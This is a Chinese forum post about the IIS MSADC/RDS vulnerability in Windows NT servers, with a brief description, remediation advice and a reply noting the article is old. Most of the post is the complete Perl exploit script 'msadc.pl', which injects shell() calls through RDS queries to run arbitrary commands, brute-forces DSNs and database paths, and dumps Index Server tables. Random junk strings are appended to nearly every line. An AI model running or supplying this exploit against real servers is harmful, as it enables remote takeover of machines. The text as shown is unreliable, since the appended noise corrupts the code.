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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) C]{43  
FLi)EgZXt  
涉及程序: N{f RZN  
Microsoft NT server 3. Kh  
]Rz]"JZ\S  
描述: K o,O!T.  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 X5=Dc+  
{5:y,=Y  
详细: Qb/qUUQO;0  
如果你没有时间读详细内容的话,就删除: FhW\23OC  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 5v8_ji#l[  
有关的安全问题就没有了。 |_Z(}% <o  
MH1??vW  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 uT ngDk  
( J5E]NV  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 =ejkE; %L  
关于利用ODBC远程漏洞的描述,请参看: vTN$SgzfCU  
_r&`[@m  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm a3JG&6-  
!fjDO!,!  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 v-EcJj%  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp 1%t9ic  
d XrLeoK  
这里不再论述。 "\Z.YZUa\  
*RivZ c9;P  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: (;V6L{Rf>  
BA53   
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset |I6\_K.=L  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! WM~@/J  
/{^Qup  
dk# LAm0<  
#将下面这段保存为txt文件,然后: "perl -x 文件名" pvD\E  
SVo:%mX  
#!perl z\{y[3-  
# *#w+*ywVZH  
# MSADC/RDS 'usage' (aka exploit) script C8%q?.nH=  
# Ak^g#^c*  
# by rain.forest.puppy ):31!IC  
# #zyEN+  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me )u`q41!  
# beta test and find errors! FTsvPLIv"  
EE=!Y NP]  
use Socket; use Getopt::Std; JT#jJ/^  
getopts("e:vd:h:XR", \%args); d@JjqE[  
FQ2 6(.  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; a^>0XXr}Y  
TDq(%IW  
if (!defined $args{h} && !defined $args{R}) { S2'./!3yv  
print qq~ Qk *`9  
Usage: msadc.pl -h <host> { -d <delay> -X -v } [}}?a   
-h <host> = host you want to scan (ip or domain) y}Oc^Fc  
-d <seconds> = delay between calls, default 1 second :>c33X}  
-X = dump Index Server path table, if available {}y"JbXMj  
-v = verbose >$j?2,Za(V  
-e = external dictionary file for step 5 .Ce30VE-  
K1Snag  
Or a -R will resume a command session Tq,Kel  
}w}2'P'T  
~; exit;} buu~#m 1z  
yyW;VKN  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; 9(V12gn+lk  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} }4b 4<Sm_h  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} a6cq0g[#z  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); aSkH<5i`v  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} uS`XWn<CSD  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } #(=8 RA:@  
g4EC[>5!r  
if (!defined $args{R}){ $ret = &has_msadc; $F"'= +0  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} Qyx%:PE  
=dSH8C"  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" s]@()?.E$  
. "cmd /c "; b"DaLwKkz  
$in=<STDIN>; chomp $in; Zn0e#n  
$command="cmd /c " . $in ; F !g>fIg  
o'O;69D]tX  
if (defined $args{R}) {&load; exit;} 7&;M"?m&  
 Wa7-N4  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; DybuLB$f  
&try_btcustmr; +}[M&D  
sxkWg>  
print "\nStep 2: Trying to make our own DSN..."; ? Dm={S6  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; &c>%E%!"  
p8,Rr{  
print "\nStep 3: Trying known DSNs..."; w+($= n~  
&known_dsn; 0N>NX?r  
0h=NbLr|S-  
print "\nStep 4: Trying known .mdbs..."; 0}H7Xdkp  
&known_mdb; Mtq\xF,/+  
kCRfO}wt3  
if (defined $args{e}){ |qTvy,U[  
print "\nStep 5: Trying dictionary of DSN names..."; A:! _ &  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 3Z/_}5%"  
Pfi|RTX$'*  
print "Sorry Charley...maybe next time?\n"; +L(|?|i8  
exit; a|S6r-_;s  
pDqX% $^  
############################################################################## !1(*D*31  
L8R{W0Zr>!  
sub sendraw { # ripped and modded from whisker ?TTtGbvU  
sleep($delay); # it's a DoS on the server! At least on mine... m#w1?y)Z@X  
my ($pstr)=@_; b?i5C4=K  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || 0])D)%B k  
die("Socket problems\n"); I8};t b#  
if(connect(S,pack "SnA4x8",2,80,$target)){ uIh68UM  
select(S); $|=1; b$FK}D5  
print $pstr; my @in=<S>; 7W[+e&  
select(STDOUT); close(S); )<YfLDgTs  
return @in; 6.5E d-  
} else { die("Can't connect...\n"); }} s R/z)U_  
V9`?s0nn^  
############################################################################## ./5LV)_`  
hNU$a?eVpR  
sub make_header { # make the HTTP request D]tI's1  
my $msadc=<<EOT P! cfe@;<4  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 WAq! _xE  
User-Agent: ACTIVEDATA [h&)h+xt  
Host: $ip ^cRAtoa  
Content-Length: $clen ,i RUR 8  
Connection: Keep-Alive "qh~wKJ  
{0L.,T~g+[  
ADCClientVersion:01.06 F-R5Ib-F*A  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 )O+Vft&#  
>E lK8  
--!ADM!ROX!YOUR!WORLD! yK+1C68A  
Content-Type: application/x-varg eYtP396C|  
Content-Length: $reqlen <cm(QNdcC  
 GY`mF1b  
EOT /tdRUX  
; $msadc=~s/\n/\r\n/g; (}B3df  
return $msadc;} E)>.2{]C>  
>G9YYt~  
############################################################################## *RYok{w  
^O6eFD U  
sub make_req { # make the RDS request Hnft1   
my ($switch, $p1, $p2)=@_; VEsIhjQ  
my $req=""; my $t1, $t2, $query, $dsn; 6+ UTEw;  
^=Dz)95c  
if ($switch==1){ # this is the btcustmr.mdb query LO;7NK  
$query="Select * from Customers where City=" . make_shell(); )B*D\9\Z  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . Q6PaT@gs  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} je;C}4  
Uc%kyTBm1  
elsif ($switch==2){ # this is general make table query  #nq$^H  
$query="create table AZZ (B int, C varchar(10))"; G22{',#r8  
$dsn="$p1";} 1R.|j_HYy  
z!s1$5:"0  
elsif ($switch==3){ # this is general exploit table query ~n=oPm$pR  
$query="select * from AZZ where C=" . make_shell(); 6L<Y   
$dsn="$p1";} jWL%*dJrN  
]Z IreI  
elsif ($switch==4){ # attempt to hork file info from index server +7 \"^D  
$query="select path from scope()";  L}=DC =E  
$dsn="Provider=MSIDXS;";} I|x? K>  
gCV+amP  
elsif ($switch==5){ # bad query f/95}6M  
$query="select"; &M>o  
$dsn="$p1";} vc%=V^)N7U  
gp+aUK~o  
$t1= make_unicode($query); KPjC<9sby  
$t2= make_unicode($dsn); u']}Z% A9`  
$req = "\x02\x00\x03\x00"; p!o-+@ava  
$req.= "\x08\x00" . pack ("S1", length($t1)); {nPiIPH  
$req.= "\x00\x00" . $t1 ; v\lKY*@f  
$req.= "\x08\x00" . pack ("S1", length($t2)); I:6H65(&  
$req.= "\x00\x00" . $t2 ; `O0bba=:=  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; SPT?Tt  
return $req;} W" Tj.oCUG  
#=V\WQb  
############################################################################## :u]QEZ@@  
;#bDz}|\AN  
sub make_shell { # this makes the shell() statement 6Vgxfic  
return "'|shell(\"$command\")|'";} 7v&>d,  
&#zx/$  
############################################################################## FLo`EE":O(  
]T<tkvcI  
sub make_unicode { # quick little function to convert to unicode M3G ecjR  
my ($in)=@_; my $out; m Ce"=[  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } w8D6j%C  
return $out;} S3UJ)@ E  
u!-v1O^[  
############################################################################## 4L bll%[9  
XL7||9,(h  
sub rdo_success { # checks for RDO return success (this is kludge) '=0l{hv@  
my (@in) = @_; my $base=content_start(@in); R=2"5Hy=  
if($in[$base]=~/multipart\/mixed/){ wQ^RXbJI9  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} 1'!D   
return 0;} _lDNYpv  
3#? 53s   
############################################################################## <0!<T+JQ  
;i?rd f  
sub make_dsn { # this makes a DSN for us G<-<>)zO!  
my @drives=("c","d","e","f"); Hqtv`3g  
print "\nMaking DSN: "; )(9[>_+40  
foreach $drive (@drives) { Ft^X[5G4L  
print "$drive: "; Jcy+(7lE)  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .  p9 G{Q  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" #-i#mbZ e  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); a/</P |UG  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; | |L^yI~_d  
return 0 if $2 eq "404"; # not found/doesn't exist &5[B\yv  
if($2 eq "200") { Wo(m:q(Om  
foreach $line (@results) { Eunmc  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} lc3N i<3v  
} return 0;} AJ3%Z$JJ;s  
6zi 5#23  
############################################################################## (tyky&$!  
GExr] 2r  
sub verify_exists { kl1/(  
my ($page)=@_; ;|`< B7xf  
my @results=sendraw("GET $page HTTP/1.0\n\n"); } eF r,bJ  
return $results[0];} u#y#(1 =  
,D'm#Fti  
############################################################################## :uJHFF xg  
9}_'  
sub try_btcustmr { i;atYltEJ2  
my @drives=("c","d","e","f"); &e78xtA{  
my @dirs=("winnt","winnt35","winnt351","win","windows"); X~cdM1z?  
cm0$v8  
foreach $dir (@dirs) { @+0dgkJ  
print "$dir -> "; # fun status so you can see progress  Cmp5or6d  
foreach $drive (@drives) { b!e0pFS;  
print "$drive: "; # ditto LJ6l3)tpD  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; zwU1(?]I{  
$reqlenlen=length( "$reqlen" ); t,n2N13  
$clen= 206 + $reqlenlen + $reqlen; W~PMR/^i  
Yw yMC d  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); rog1  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} l3*GQ~m7  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} l<p<\,nV$  
##%&*vh  
############################################################################## cF_`QRtO  
Dlpmm2  
sub odbc_error { G3 |x%/Fbp  
my (@in)=@_; my $base; ,!,tU7-H  
my $base = content_start(@in); `kE7PXqa  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this w+r).PS}C  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; KnKf8c  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; bT6VxbNS  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 8A5/jqnqt  
return $in[$base+4].$in[$base+5].$in[$base+6];} x4/{XRQ  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; @lq)L  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . *VmX.  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} #.!#"8{0_  
VR .t  
############################################################################## Dw.I<fns^B  
Z\]{{;%4b7  
sub verbose { vaJl}^T  
my ($in)=@_; c%WO#}r|  
return if !$verbose; PxQQfI>  
print STDOUT "\n$in\n";} Y mL{uV$  
MV??S{^4  
############################################################################## Qwt0~9n(  
fL# r@TB-s  
sub save { Aix6O=K6  
my ($p1, $p2, $p3, $p4)=@_; BU4IN$d0Po  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; wdAKU+tM  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; Te[v+jgLY,  
close OUT;} nF_q{e7  
KK5;6b  
############################################################################## i]N<xcF9N*  
(~%NRH<\  
sub load { 7#d:TXS  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; L"/ ?[B":  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); '`|j{mBhG  
@p=<IN>; close(IN); nu7 R  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); $,J0) ~  
$target= inet_aton($ip) || die("inet_aton problems"); 6T|Z4f|  
print "Resuming to $ip ..."; 39hep8+  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; /Jc{aw  
if($p[1]==1) { Ws7fWK;  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; :o ~'\:/  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 6dmb bgO)  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); Q(cLi:)X2  
if (rdo_success(@results)){print "Success!\n";} RRPPojKZ  
else { print "failed\n"; verbose(odbc_error(@results));}} jL8A_'3B  
elsif ($p[1]==3){ l^}u S|c(  
if(run_query("$p[3]")){ CuH4~6  
print "Success!\n";} else { print "failed\n"; }} ?P-O4  
elsif ($p[1]==4){ Xz^k.4 Y{4  
if(run_query($drvst . "$p[3]")){ \Cu=Le^  
print "Success!\n"; } else { print "failed\n"; }} fv#ov+B  
exit;} Y JMs9X~3  
#O !2  
############################################################################## Z{BK@Q4z  
p<(a);<L  
sub create_table { $u.rO7)  
my ($in)=@_; @IsUY(Gu  
$reqlen=length( make_req(2,$in,"") ) - 28; B* mZxY1  
$reqlenlen=length( "$reqlen" ); OblHN*  
$clen= 206 + $reqlenlen + $reqlen; R[v0T/  
my @results=sendraw(make_header() . make_req(2,$in,"")); | n)4APX\Q  
return 1 if rdo_success(@results); !L{mE&  
my $temp= odbc_error(@results); verbose($temp); yNXYS  
return 1 if $temp=~/Table 'AZZ' already exists/; Nwt[)\W `  
return 0;} |f @A-d X  
Y @'do)  
############################################################################## u-|%K.A  
c:Cw #  
sub known_dsn { H390<`  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go XJPIAN~l  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",  mjP  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", U`=r .>  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); "hI"4xSg  
{Kr}RR*{X  
foreach $dSn (@dsns) { &Pm@+ML*x  
print "."; |(*btdqy3  
next if (!is_access("DSN=$dSn")); EBW*v '  
if(create_table("DSN=$dSn")){ Cip|eM&l  
print "$dSn successful\n"; &4|]VOf  
if(run_query("DSN=$dSn")){ ^i#0aq2}  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { ] 9C)F*r7  
print "Something's borked. Use verbose next time\n";}}} print "\n";} Bj2iYk_cLa  
}v2p]D5n.  
############################################################################## nw- -  
q6$6:L,<  
sub is_access { 9C,gJp}P  
my ($in)=@_; )e P Qxx  
$reqlen=length( make_req(5,$in,"") ) - 28; XchD3p+uB  
$reqlenlen=length( "$reqlen" ); EiC["M'}  
$clen= 206 + $reqlenlen + $reqlen; 8aVQW_m}  
my @results=sendraw(make_header() . make_req(5,$in,"")); flqr["czwK  
my $temp= odbc_error(@results); hs;|,r  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); 89D`!`Ah]  
return 0;} #UymD-yII  
U:$z lfV  
############################################################################## 4`#%<G  
y@*4*46v  
sub run_query { I:=!,4S;  
my ($in)=@_; 0K.$C~ C  
$reqlen=length( make_req(3,$in,"") ) - 28; ;WN% tI)  
$reqlenlen=length( "$reqlen" );  8q9 ^  
$clen= 206 + $reqlenlen + $reqlen; $<Gt^3e  
my @results=sendraw(make_header() . make_req(3,$in,"")); CpN*1s})d  
return 1 if rdo_success(@results); |AvsT{2  
my $temp= odbc_error(@results); verbose($temp); C'A D[`p  
return 0;} %1;Y`>  
iWW!'u$+I`  
############################################################################## p + JOUW  
7SkW!5  
sub known_mdb { 5ip ZdQ^  
my @drives=("c","d","e","f","g"); |Zn,|-iW  
my @dirs=("winnt","winnt35","winnt351","win","windows"); u];\v%b  
my $dir, $drive, $mdb; P!9-!+F"  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; j/uMSE  
Gv)*[7  
# this is sparse, because I don't know of many E]a,2{&8<  
my @sysmdbs=( "\\catroot\\icatalog.mdb", A;C4>U Y  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", ct*~\C6Ze  
"\\system32\\certmdb.mdb", _pS)bx w  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% iN u k5  
:Oj!J&A  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", 2V9"{F?  
"\\cfusion\\cfapps\\forums\\forums_.mdb", H9VdoxKo  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 3WkrG.$[b  
"\\cfusion\\cfapps\\security\\realm_.mdb", :]\-GJV5  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", \3U.;}0_X  
"\\cfusion\\database\\cfexamples.mdb", 9WoTo ,q  
"\\cfusion\\database\\cfsnippets.mdb", =x^IBLHN  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", sV~|9/r  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", :Z;kMrU  
"\\cfusion\\brighttiger\\database\\cleam.mdb", R^ I4_ZA  
"\\cfusion\\database\\smpolicy.mdb", Fok`-U  
"\\cfusion\\database\cypress.mdb", i"!j:YEo  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", = p2AK\  
"\\website\\cgi-win\\dbsample.mdb", ^?0WE   
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 14-uy.0[  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" 1G,'  
); #these are just |oOA;JC)(  
foreach $drive (@drives) { n)]u|qq  
foreach $dir (@dirs){ NTM.Vj -_h  
foreach $mdb (@sysmdbs) { <e8Ux#x/  
print "."; 5&U?\YNLa  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ l=&Va+K  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; &ujq6~#  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ )Oj%3  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; 2;ogkPv'  
} else { print "Something's borked. Use verbose next time\n"; }}}}} (TGG?V  
j=b-Y  
foreach $drive (@drives) { P<xCg  
foreach $mdb (@mdbs) { 7LW %:0  
print "."; %Zu+=I Z  
if(create_table($drv . $drive . $dir . $mdb)){ %i9*2{e#~  
print "\n" . $drive . $dir . $mdb . " successful\n"; ^w}BXVn  
if(run_query($drv . $drive . $dir . $mdb)){ DVyxe}  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; \]t }N  
} else { print "Something's borked. Use verbose next time\n"; }}}} _ <pO<S  
} q&k?$rn  
0R?LWm j  
############################################################################## '%A*Z,f  
0(!=N 1l  
sub hork_idx { Nf{tC9l  
print "\nAttempting to dump Index Server tables...\n"; `OyYo^+D|.  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; :j#Fq d[DF  
$reqlen=length( make_req(4,"","") ) - 28; cLnvb!g'#  
$reqlenlen=length( "$reqlen" ); e~BUAz  
$clen= 206 + $reqlenlen + $reqlen; 8 =<&9TmE  
my @results=sendraw2(make_header() . make_req(4,"","")); Y)v_O_`  
if (rdo_success(@results)){ :.EVvuXI  
my $max=@results; my $c; my %d; ZzO.s$  
for($c=19; $c<$max; $c++){ \>XkK<ye  
$results[$c]=~s/\x00//g; 6~6*(s|]A  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; 7(= 09z  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; K~>ESMZ5  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; Y]t)k9|vv  
$d{"$1$2"}="";} };;6706a  
foreach $c (keys %d){ print "$c\n"; } 7 S2QTRvH  
} else {print "Index server doesn't seem to be installed.\n"; }} +~\c1|f  
Uu3<S  
############################################################################## DWRq \`P  
l+8G6?@]>  
sub dsn_dict { !@-g9z  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); KF`@o@,  
while(<IN>){ &ffd#2f`@  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; q--;5"=S  
next if (!is_access("DSN=$dSn")); >NN&j#;x~  
if(create_table("DSN=$dSn")){ r$Ck:Q}  
print "$dSn successful\n"; < ekLL{/O'  
if(run_query("DSN=$dSn")){ |;_uN q9  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { okZDxg`6  
print "Something's borked. Use verbose next time\n";}}} 6o/!H  
print "\n"; close(IN);} dg]: JU  
rYMHc@a9(  
############################################################################## C_DXg-a2lu  
P ".[=h  
sub sendraw2 { # ripped and modded from whisker [6Gb@jG  
sleep($delay); # it's a DoS on the server! At least on mine... 7$* O+bkn:  
my ($pstr)=@_; <jvSV5%  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || P 6|\ ^  
die("Socket problems\n"); ENi@R\ p  
if(connect(S,pack "SnA4x8",2,80,$target)){ &ahZ_9Q  
print "Connected. Getting data"; Z6`[ dAo  
open(OUT,">raw.out"); my @in; 2oFHP_HVfu  
select(S); $|=1; print $pstr; As7Y4w*+  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} mN:p=.& <  
close(OUT); select(STDOUT); close(S); return @in; 5 J9,/M0  
} else { die("Can't connect...\n"); }} )9 QeVf  
-NyfW+T={  
############################################################################## u`vOKajpH$  
n++L =&Wd  
sub content_start { # this will take in the server headers |H'4];>R?  
my (@in)=@_; my $c; )tyhf(p6  
for ($c=1;$c<500;$c++) { #A2)]XvY  
if($in[$c] =~/^\x0d\x0a/){ }XiV$[xHd  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } g"iLhm` L  
else { return $c+1; }}} g0D(:_QXp:  
return -1;} # it should never get here actually ,!s;o6|*y  
\We\*7^E  
############################################################################## 8 3wa{m:  
]%PQ3MT.  
sub funky { y J&`@gB  
my (@in)=@_; my $error=odbc_error(@in); p|z\L}0  
if($error=~/ADO could not find the specified provider/){ ^sp+ sr :  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; M6P`~emX2  
exit;} SGREpOlJ+  
if($error=~/A Handler is required/){ ?x(]U+  
print "\nServer has custom handler filters (they most likely are patched)\n"; F#w= z/  
exit;} CcZ\QOet&C  
if($error=~/specified Handler has denied Access/){ lklMdsIdj  
print "\nServer has custom handler filters (they most likely are patched)\n"; M 8BN'% S  
exit;}} ,wN>,(  
?m?DAd~ZY  
############################################################################## 02_%a1g  
#FBq8iJ  
sub has_msadc { Wa {>R2h\  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); ;U=RV&  
my $base=content_start(@results); .'y]Ea  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); !Rzw[~  
return 0;} Tc DkKa  
8_S<zE`Ha  
######################## 0OndSa,  
S WYIQ7*  
;:[!I]E0  
解决方案: 2?9SM@nAY  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll EVW{!\8[  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 wr/Z)e =^3  
}2^_Gaj  
拿出来充数 哈哈
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